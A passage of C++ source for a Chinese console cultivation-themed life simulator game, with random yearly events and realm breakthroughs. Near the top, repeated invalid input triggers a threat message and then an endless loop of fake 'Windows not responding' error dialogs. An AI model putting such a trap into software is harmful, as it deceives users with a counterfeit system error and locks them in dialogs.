    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
    int yu=200,ui=100,io=100;
    cout<<"人生重开模拟器(修仙版5.5版):进入游戏请输入:1 进入调查问卷请输入:2 退出游戏请输入:0"<<endl;
    int a=0,s=0,d=0,f=0,g=0,h=0,j=0,k=0,l=0,qs=0,sq=0;//悟出大道数a,金之大道s,木之大道d,水之大道f,火之大道g,土之大道h,生命大道j,毁灭大道k,混沌大道l,107821:密码。
    int q;
    int as=0;
    int zxc=100;
    cin>>q;
    if(q!=1&&q!=2&&q!=0){
    
    
    for(int i=1;i<=999999999;i++){
    if(i>=5){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    cout<<"想搞事!?我陪你!"<<endl;
    Sleep(100);
    cout<<"给你5秒反思和退出,别怪作者心狠手辣!";
    Sleep(5000);
    for(;;){
    MessageBox(NULL,"windows遇到了一个无法解决的问题。","windows未响应。",MB_ABORTRETRYIGNORE+48);
    }}
    if(q==1||q==2||q==0){break;}
    else{
    MessageBox(NULL,"您没有输入1 或者2 或者0 哦!","输入错误!",MB_OK+48);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"人生重开模拟器(修仙版5.0版):进入游戏请输入:1 进入调查问卷请输入:2 退出游戏请输入:0"<<endl;
    cin>>q;
    }
    
    }
    }
    if(q==1){
    
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"Ok!我们来进入吧!"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    for(int i=1;i<=20;i++){
    if(i>=1&&i<=10||i>=17&&i<=20){Sleep(200);cout<<"█";}
    else {Sleep(350);cout<<"█";}
    
    }
    for(int i=0;i<1000;i++){cout<<endl;}
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"ok,请选择天赋点(天赋点40):"<<endl;
    int da=0;
    int z=0,x=0,c=0,v=0;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    cout<<"颜值: ";
    cin>>z;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"智力: ";
    cin>>x;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"钱数: ";
    cin>>c;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"健康:";
    cin>>v;
    cout<<endl;
    if(z==12&&x==12&&c==6){
    //a=6;s=1;d=1;f=1;g=1;h=1;j=1;k=1;l=1;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
    cout<<"你触发了时间大道:"<<endl;
    cout<<"输入的时间越少,速度更快(输入1000== 一秒)"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    cout<<"凡人时间: ";
    cin>>yu;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<endl<<"仙人时间: ";
    cin>>ui;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<endl<<"神者时间: ";
    cin>>io;
    }
    if(z+x+c+v>40){
    for(;;){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"ok,请选择天赋点(天赋点40):"<<endl;
    cout<<"请正常选择或总天赋点小于等于40。"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    cout<<"颜值: ";
    cin>>z;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"智力: ";
    cin>>x;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"钱数: ";
    cin>>c;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"健康:";
    cin>>v;
    cout<<endl;
    if(z+x+c<=30){break;}
    
    }
    
    }
    
    if(z>10){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"你出生了,是男孩。"<<endl;
    }
    else{
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"你出生了,是女孩。"<<endl;
    }
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    cout<<"颜值:"<<z<<" ";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"智力:"<<x<<" ";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"钱数:"<<c<<" ";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"健康:"<<v<<" "<<endl<<endl;
    c=c*100;
    Sleep(300);
    for(int i=1;i<100;i++){
    int rt=0;
    int a=rand()%50+1;
    if(2>v&&v<2&&c>=100000){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"第"<<i<<"年:"<<"你因为突发病或事件死了.(注意身体和运气)"<<endl;da=1;break;}
    if(a==1){cout<<"第"<<i<<"年:"<<"你捡到了养颜宝典,颜值加3."<<endl;z=z+3;rt=1;}
    if(a==2){cout<<"第"<<i<<"年:"<<"你捡到0.2斤铁,钱数加200."<<endl;c=c+200;rt=1;}
    if(a==3){cout<<"第"<<i<<"年:"<<"你被人诈骗了,钱数减600."<<endl;c=c-600;rt=1;}
    if(a==4){cout<<"第"<<i<<"年:"<<"你学了一本书,智力加3."<<endl;x=x+3;rt=1;}
    if(a==5){cout<<"第"<<i<<"年:"<<"你捡到了一个钻戒,钱数加2000."<<endl;c=c+2000;rt=1;}
    if(a==6&&jk[1]==0){cout<<"第"<<i<<"年:"<<"【绝密消息】:有一个人被车撞了。他死前大喊”不!我可是10世转修者!“"<<endl;jk[1]++;rt=1;}
    if(a==7&&jk[2]==0){cout<<"第"<<i<<"年:"<<"【绝密消息】:陈忆轩一天刷10道难度三的题."<<endl;jk[2]++;rt=1;}
    if(a==8&&jk[3]==0){cout<<"第"<<i<<"年:"<<"【绝密消息】:阮烁恒天天看《无职转生~到了异世界就拿出真本事~》!!!"<<endl;jk[3]++;rt=1;}
    if(a==9&&jk[4]==0){cout<<"第"<<i<<"年:"<<"【绝密消息】:作者于2021年12月20日与羽浩腾一起合作。"<<endl;jk[4]++;rt=1;}
    if(a==10&&jk[5]==0){cout<<"第"<<i<<"年:"<<"【绝密消息】:阮烁恒习的欧啦神功后天天把作者打的****。"<<endl;jk[5]++;rt=1;}
    if(a==6&&jk[1]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==7&&jk[2]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==8&&jk[3]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==9&&jk[4]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==10&&jk[5]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==11&&jk[6]==0){cout<<"第"<<i<<"年:"<<"日本被和谐成月本."<<endl;jk[6]++;rt=1;}
    if(a==12&&jk[7]==0){cout<<"第"<<i<<"年:"<<"中国GPS超过美国."<<endl;jk[7]++;rt=1;}
    if(a==11&&jk[6]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==12&&jk[7]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==18){cout<<"第"<<i<<"年:"<<"你被特别培训,全方面提升3."<<endl;z=z+3;x=x+3;v=v+3;rt=1;}
    if(a==19){cout<<"第"<<i<<"年:"<<"你不小心用小刀划了脸,颜值减5,健康减1."<<endl;z=z-5;rt=1;v=v-1;}
    if(a==20){cout<<"第"<<i<<"年:"<<"你不小心被车撞了脑袋,智力减5,健康减5."<<endl;x=x-5;rt=1;v=v-5;}
    if(a==21){cout<<"第"<<i<<"年:"<<"你患上了感冒,健康减2."<<endl;v=v-2;rt=1;}
    if(a==22){cout<<"第"<<i<<"年:"<<"你坚持锻炼,健康加2."<<endl;v=v+2;rt=1;}
    if(a==23){cout<<"第"<<i<<"年:"<<"因为你惹了一只狼狗,所以你每天被狗追着跑...健康加3."<<endl;v=v+3;rt=1;}
    if(a==24){cout<<"第"<<i<<"年:"<<"因为你勤奋工作,所以钱数加"<<c/100<<endl;c=c+c/100;rt=1;}
    if(a==25&&jk[8]==0&&c>=100000){cout<<"第"<<i<<"年:"<<"你向乞丐买了一本《古仙图》.钱数减100000."<<endl;c=c-100000;po=po+1;jk[8]++;rt=1;}
    if(a==25&&jk[8]==1&&c>=100000){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(a==26){cout<<"第"<<i<<"年:"<<"你捡到了100元"<<endl;c=c+100;rt=1;}
    if(a==27){cout<<"第"<<i<<"年:"<<"你突然病倒了!健康减5!"<<endl;v=v-5;}
    if(a==28&&z>=20){cout<<"第"<<i<<"年:"<<"你迷到了一大堆人!"<<endl;}
    if(a==29&&jk[9]==0){cout<<"第"<<i<<"年:"<<"【绝密消息】:中国发现了外星文明!"<<endl;x=x+10;jk[9]++;}
    if(a==29&&jk[9]==1){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;rt=1;}
    if(rt==0){cout<<"第"<<i<<"年:"<<"平平无奇的一年."<<endl;}
    if(c<=50){cout<<"你破产了!!全方面-2."<<endl;z=z-2;x=x-2;v=v-2;}
    z=z+0.1;x=x+0.1;c=c+c/100;v=v+0.1;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    cout<<"颜值:"<<z<<" ";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"智力:"<<x<<" ";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"钱数:"<<c<<" ";
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"健康:"<<v<<" "<<endl<<endl;
    Sleep(yu);
    }
    
    int ghj=0;
    if(da==1){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);cout<<"寿元终.";}
    else{
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"第100年:你打开了小盒子,发现了《修仙功》这本修仙功法,开始修仙之路,寿元提升至150年。";
    if(po>0){cout<<"你发现当初买的《古仙图》比《修仙功》效果更好!";}
    cout<<endl;int qw=150;
    //int i;
    u=u+(z*0.01)+(x*0.01)+(v*0.1);
    for(int i=101;i<=qw;i++){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    if(250>=u){
    int rt=0;
    
    fd=rand()%50+1;
    if(fd==1){cout<<"第"<<i<<"年:"<<"你找到灵气聚集之处,修为大幅度上升。"<<endl;u=u+1.5;rt=1;}
    if(fd==2){cout<<"第"<<i<<"年:"<<"你找到灵气聚集之处,修为大幅度上升。"<<endl;u=u+1.5;rt=1;}
    if(fd==3){cout<<"第"<<i<<"年:"<<"你找到异果,修为小幅度上升。"<<endl;u=u+1;rt=1;}
    if(fd==4){cout<<"第"<<i<<"年:"<<"你找到异果,修为小幅度上升。"<<endl;u=u+1;rt=1;}
    if(fd==5){cout<<"第"<<i<<"年:"<<"你找到异果,修为小幅度上升。"<<endl;u=u+1;rt=1;}
    if(fd==6){cout<<"第"<<i<<"年:"<<"你走火入魔,修为大幅度下降。"<<endl;u=u-2;rt=1;}
    if(fd==7){cout<<"第"<<i<<"年:"<<"你走火入魔,修为大幅度下降。"<<endl;u=u-2;rt=1;}
    if(fd==8){cout<<"第"<<i<<"年:"<<"你杀了一位筑基期修仙者,修为大幅度上升。"<<endl;u=u+1.5;rt=1;}
    if(fd==9){cout<<"第"<<i<<"年:"<<"你杀了一位筑基期修仙者,修为大幅度上升。"<<endl;u=u+1.5;rt=1;}
    if(fd==10&&ghj<=2){cout<<"第"<<i<<"年:"<<"你获得渡劫失败的渡劫期修仙者传承,修为提升X。"<<endl;u=u+50;ghj++;rt=1;}else {if(fd==10&&ghj<=2){cout<<"第"<<i<<"年:"<<"修行..."<<endl;u=u+0.2;rt=1;}}
    if(fd==11){cout<<"第"<<i<<"年:"<<"你悟了一些《神仙图》的内容,修为加快提升。"<<endl;po=po+0.1;rt=1;}
    if(rt==0){cout<<"第"<<i<<"年:"<<"修行..."<<endl;u=u+0.2;}
    
    }
    else{
    int gd;
    gd=rand()%100+1;
    if(gd==1&&sq==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟透了伟大的马克思主义。"<<endl;u=u+1;sq=1;}else{if(gd==1){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==2&&qs==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了空手道,好像并没有什么卵用。"<<endl;u=u+1;qs=1;}else{if(gd==2){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==3&&s==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了金之大道。"<<endl;u=u+4;s=1;a=a+1;}else{if(gd==3){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==4&&d==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了木之大道。"<<endl;u=u+4;d=1;a=a+1;}else{if(gd==4){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==5&&f==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了水之大道。"<<endl;u=u+4;f=1;a=a+1;}else{if(gd==5){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==6&&g==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了火之大道。"<<endl;u=u+4;g=1;a=a+1;}else{if(gd==6){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==7&&h==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了土之大道。"<<endl;u=u+4;h=1;a=a+1;}else{if(gd==7){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==8&&j==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了生命大道。"<<endl;u=u+5;j=1;a=a+1;}else{if(gd==8){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==9&&k==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了毁灭大道。"<<endl;u=u+5;k=1;a=a+1;}else{if(gd==9){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd==10&&l==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了混沌大道。"<<endl;u=u+5;l=1;a=a+1;}else{if(gd==10){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd!=1&&gd!=2&&gd!=3&&gd!=4&&gd!=5&&gd!=6&&gd!=7&&gd!=8&&gd!=9&&gd!=10){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+1;}
    }
    u=u+po;
    //SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
    //cout<<"灵力点:"<<u<<endl;
    
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    if(u>=2&&u<4&&b[1]==0){cout<<"突破凝气初期1星,寿元提升至160年。"<<endl;qw=160;b[1]=1;}
    if(u>=4&&u<6&&b[2]==0){cout<<"突破凝气初期2星,寿元提升至170年。"<<endl;qw=170;b[2]=1;}
    if(u>=6&&u<8&&b[3]==0){cout<<"突破凝气初期3星,寿元提升至180年。"<<endl;qw=180;b[3]=1;}
    if(u>=8&&u<10&&b[4]==0){cout<<"突破凝气初期4星,寿元提升至185年。"<<endl;qw=185;b[4]=1;}
    if(u>=10&&u<12&&b[5]==0){cout<<"突破凝气初期5星,寿元提升至190年。"<<endl;qw=190;b[5]=1;}
    if(u>=12&&u<14&&b[6]==0){cout<<"突破凝气中期1星,寿元提升至200年。"<<endl;qw=200;b[6]=1;}
    if(u>=14&&u<16&&b[7]==0){cout<<"突破凝气中期2星,寿元提升至210年。"<<endl;qw=210;b[7]=1;}
    if(u>=16&&u<18&&b[8]==0){cout<<"突破凝气中期3星,寿元提升至220年。"<<endl;qw=220;b[8]=1;}
    if(u>=18&&u<20&&b[9]==0){cout<<"突破凝气中期4星,寿元提升至230年。"<<endl;qw=230;b[9]=1;}
    if(u>=20&&u<22&&b[10]==0){cout<<"突破凝气中期5星,寿元提升至240年。"<<endl;qw=240;b[10]=1;}
    if(u>=22&&u<24&&b[11]==0){cout<<"突破凝气高期1星,寿元提升至250年。"<<endl;qw=250;b[11]=1;}
    if(u>=24&&u<26&&b[12]==0){cout<<"突破凝气高期2星,寿元提升至260年。"<<endl;qw=260;b[12]=1;}
    if(u>=26&&u<28&&b[13]==0){cout<<"突破凝气高期3星,寿元提升至270年。"<<endl;qw=270;b[13]=1;}
    if(u>=28&&u<30&&b[14]==0){cout<<"突破凝气高期4星,寿元提升至280年。"<<endl;qw=280;b[14]=1;}
    if(u>=30&&u<35&&b[15]==0){cout<<"突破凝气高期5星,寿元提升至290年。"<<endl;qw=290;b[15]=1;}
    if(u>=35&&u<37&&b[16]==0){cout<<"突破筑基初期1星,寿元提升至300年。"<<endl;qw=300;b[16]=1;}
    if(u>=37&&u<39&&b[17]==0){cout<<"突破筑基初期2星,寿元提升至310年。"<<endl;qw=310;b[17]=1;}
    if(u>=39&&u<41&&b[18]==0){cout<<"突破筑基初期3星,寿元提升至320年。"<<endl;qw=320;b[18]=1;}
    if(u>=41&&u<43&&b[19]==0){cout<<"突破筑基初期4星,寿元提升至330年。"<<endl;qw=330;b[19]=1;}
    if(u>=45&&u<47&&b[20]==0){cout<<"突破筑基初期5星,寿元提升至340年。"<<endl;qw=340;b[20]=1;}
    if(u>=47&&u<49&&b[21]==0){cout<<"突破筑基中期1星,寿元提升至350年。"<<endl;qw=350;b[21]=1;}
    if(u>=49&&u<51&&b[22]==0){cout<<"突破筑基中期2星,寿元提升至360年。"<<endl;qw=360;b[22]=1;}
    if(u>=51&&u<53&&b[23]==0){cout<<"突破筑基中期3星,寿元提升至370年。"<<endl;qw=370;b[23]=1;}
    if(u>=55&&u<57&&b[24]==0){cout<<"突破筑基中期4星,寿元提升至380年。"<<endl;qw=380;b[24]=1;}
    if(u>=57&&u<59&&b[25]==0){cout<<"突破筑基中期5星,寿元提升至390年。"<<endl;qw=390;b[25]=1;}
    if(u>=59&&u<61&&b[26]==0){cout<<"突破筑基高期1星,寿元提升至400年。"<<endl;qw=400;b[26]=1;}
    if(u>=61&&u<63&&b[27]==0){cout<<"突破筑基高期2星,寿元提升至410年。"<<endl;qw=410;b[27]=1;}
    if(u>=63&&u<65&&b[28]==0){cout<<"突破筑基高期3星,寿元提升至420年。"<<endl;qw=420;b[28]=1;}
    if(u>=65&&u<67&&b[29]==0){cout<<"突破筑基高期4星,寿元提升至430年。"<<endl;qw=430;b[29]=1;}
    if(u>=69&&u<75&&b[30]==0){cout<<"突破筑基高期5星,寿元提升至440年。"<<endl;qw=440;b[30]=1;}
    
    if(u>=75&&u<78&&b[31]==0){cout<<"突破金丹初期1星,寿元提升至450年。"<<endl;qw=450;b[31]=1;}
    if(u>=78&&u<81&&b[32]==0){cout<<"突破金丹初期2星,寿元提升至460年。"<<endl;qw=460;b[32]=1;}
    if(u>=81&&u<84&&b[33]==0){cout<<"突破金丹初期3星,寿元提升至470年。"<<endl;qw=470;b[33]=1;}
    if(u>=84&&u<87&&b[34]==0){cout<<"突破金丹初期4星,寿元提升至480年。"<<endl;qw=480;b[34]=1;}
    if(u>=87&&u<90&&b[35]==0){cout<<"突破金丹初期5星,寿元提升至490年。"<<endl;qw=490;b[35]=1;}
    if(u>=90&&u<93&&b[36]==0){cout<<"突破金丹中期1星,寿元提升至500年。"<<endl;qw=500;b[36]=1;}
    if(u>=93&&u<96&&b[37]==0){cout<<"突破金丹中期2星,寿元提升至510年。"<<endl;qw=510;b[37]=1;}
    if(u>=96&&u<99&&b[38]==0){cout<<"突破金丹中期3星,寿元提升至520年。"<<endl;qw=520;b[38]=1;}
    if(u>=99&&u<102&&b[39]==0){cout<<"突破金丹中期4星,寿元提升至530年。"<<endl;qw=530;b[39]=1;}
    if(u>=102&&u<105&&b[40]==0){cout<<"突破金丹中期5星,寿元提升至540年。"<<endl;qw=540;b[40]=1;}
    if(u>=108&&u<111&&b[41]==0){cout<<"突破金丹高期1星,寿元提升至550年。"<<endl;qw=550;b[41]=1;}
    if(u>=111&&u<114&&b[42]==0){cout<<"突破金丹高期2星,寿元提升至560年。"<<endl;qw=560;b[42]=1;}
    if(u>=114&&u<117&&b[43]==0){cout<<"突破金丹高期3星,寿元提升至570年。"<<endl;qw=570;b[43]=1;}
    if(u>=117&&u<120&&b[44]==0){cout<<"突破金丹高期4星,寿元提升至580年。"<<endl;qw=580;b[44]=1;}
    if(u>=120&&u<125&&b[45]==0){cout<<"突破金丹高期5星,寿元提升至590年。"<<endl;qw=590;b[45]=1;}
    if(u>=125&&u<130&&b[46]==0){cout<<"突破元婴初期1星,寿元提升至600年。"<<endl;qw=600;b[46]=1;}
    if(u>=130&&u<135&&b[47]==0){cout<<"突破元婴初期2星,寿元提升至610年。"<<endl;qw=610;b[47]=1;}
    if(u>=135&&u<140&&b[48]==0){cout<<"突破元婴初期3星,寿元提升至620年。"<<endl;qw=620;b[48]=1;}
    if(u>=140&&u<145&&b[49]==0){cout<<"突破元婴初期4星,寿元提升至630年。"<<endl;qw=630;b[49]=1;}
    if(u>=145&&u<150&&b[50]==0){cout<<"突破元婴初期5星,寿元提升至640年。"<<endl;qw=640;b[50]=1;}
    if(u>=150&&u<155&&b[51]==0){cout<<"突破元婴中期1星,寿元提升至650年。"<<endl;qw=650;b[51]=1;}
    if(u>=155&&u<160&&b[52]==0){cout<<"突破元婴中期2星,寿元提升至660年。"<<endl;qw=660;b[52]=1;}
    if(u>=160&&u<165&&b[53]==0){cout<<"突破元婴中期3星,寿元提升至670年。"<<endl;qw=670;b[53]=1;}
    if(u>=165&&u<170&&b[54]==0){cout<<"突破元婴中期4星,寿元提升至680年。"<<endl;qw=680;b[54]=1;}
    if(u>=170&&u<175&&b[55]==0){cout<<"突破元婴中期5星,寿元提升至690年。"<<endl;qw=690;b[55]=1;}
    if(u>=175&&u<180&&b[56]==0){cout<<"突破元婴高期1星,寿元提升至700年。"<<endl;qw=700;b[56]=1;}
    if(u>=180&&u<185&&b[57]==0){cout<<"突破元婴高期2星,寿元提升至710年。"<<endl;qw=710;b[57]=1;}
    if(u>=185&&u<190&&b[58]==0){cout<<"突破元婴高期3星,寿元提升至720年。"<<endl;qw=720;b[58]=1;}
    if(u>=190&&u<195&&b[59]==0){cout<<"突破元婴高期4星,寿元提升至730年。"<<endl;qw=730;b[59]=1;}
    if(u>=195&&u<200&&b[60]==0){cout<<"突破元婴高期5星,寿元提升至740年。"<<endl;qw=740;b[60]=1;}
    
    if(u>=200&&u<205&&b[61]==0){cout<<"突破化神初期1星,寿元提升至750年。"<<endl;qw=750;b[61]=1;}
    if(u>=205&&u<210&&b[62]==0){cout<<"突破化神初期2星,寿元提升至760年。"<<endl;qw=760;b[62]=1;}
    if(u>=210&&u<215&&b[63]==0){cout<<"突破化神初期3星,寿元提升至770年。"<<endl;qw=770;b[63]=1;}
    if(u>=215&&u<220&&b[64]==0){cout<<"突破化神初期4星,寿元提升至780年。"<<endl;qw=780;b[64]=1;}
    if(u>=220&&u<225&&b[65]==0){cout<<"突破化神初期5星,寿元提升至790年。"<<endl;qw=790;b[65]=1;}
    if(u>=225&&u<230&&b[66]==0){cout<<"突破化神中期1星,寿元提升至800年。"<<endl;qw=800;b[66]=1;}
    if(u>=230&&u<235&&b[67]==0){cout<<"突破化神中期2星,寿元提升至810年。"<<endl;qw=810;b[67]=1;}
    if(u>=235&&u<240&&b[68]==0){cout<<"突破化神中期3星,寿元提升至820年。"<<endl;qw=820;b[68]=1;}
    if(u>=240&&u<245&&b[69]==0){cout<<"突破化神中期4星,寿元提升至830年。"<<endl;qw=830;b[69]=1;}
    if(u>=245&&u<250&&b[70]==0){cout<<"突破化神中期5星,寿元提升至840年。"<<endl;qw=840;b[70]=1;}
    if(u>=250&&u<255&&b[71]==0){cout<<"突破化神高期1星,寿元提升至850年。"<<endl;qw=850;b[71]=1;}
    if(u>=255&&u<260&&b[72]==0){cout<<"突破化神高期2星,寿元提升至860年。"<<endl;qw=860;b[72]=1;}
    if(u>=260&&u<265&&b[73]==0){cout<<"突破化神高期3星,寿元提升至870年。"<<endl;qw=870;b[73]=1;}
    if(u>=265&&u<270&&b[74]==0){cout<<"突破化神高期4星,寿元提升至880年。"<<endl;qw=880;b[74]=1;}
    if(u>=270&&u<300&&b[75]==0){cout<<"突破化神高期5星,寿元提升至890年。"<<endl;qw=890;b[75]=1;}
    if(u>=300&&u<310&&b[76]==0){cout<<"突破炼虚初期1星,寿元提升至900年。"<<endl;qw=900;b[76]=1;}
    if(u>=310&&u<320&&b[77]==0){cout<<"突破炼虚初期2星,寿元提升至910年。"<<endl;qw=910;b[77]=1;}
    if(u>=320&&u<330&&b[78]==0){cout<<"突破炼虚初期3星,寿元提升至920年。"<<endl;qw=920;b[78]=1;}
    if(u>=330&&u<340&&b[79]==0){cout<<"突破炼虚初期4星,寿元提升至930年。"<<endl;qw=930;b[79]=1;}
    if(u>=340&&u<350&&b[80]==0){cout<<"突破炼虚初期5星,寿元提升至940年。"<<endl;qw=940;b[80]=1;}
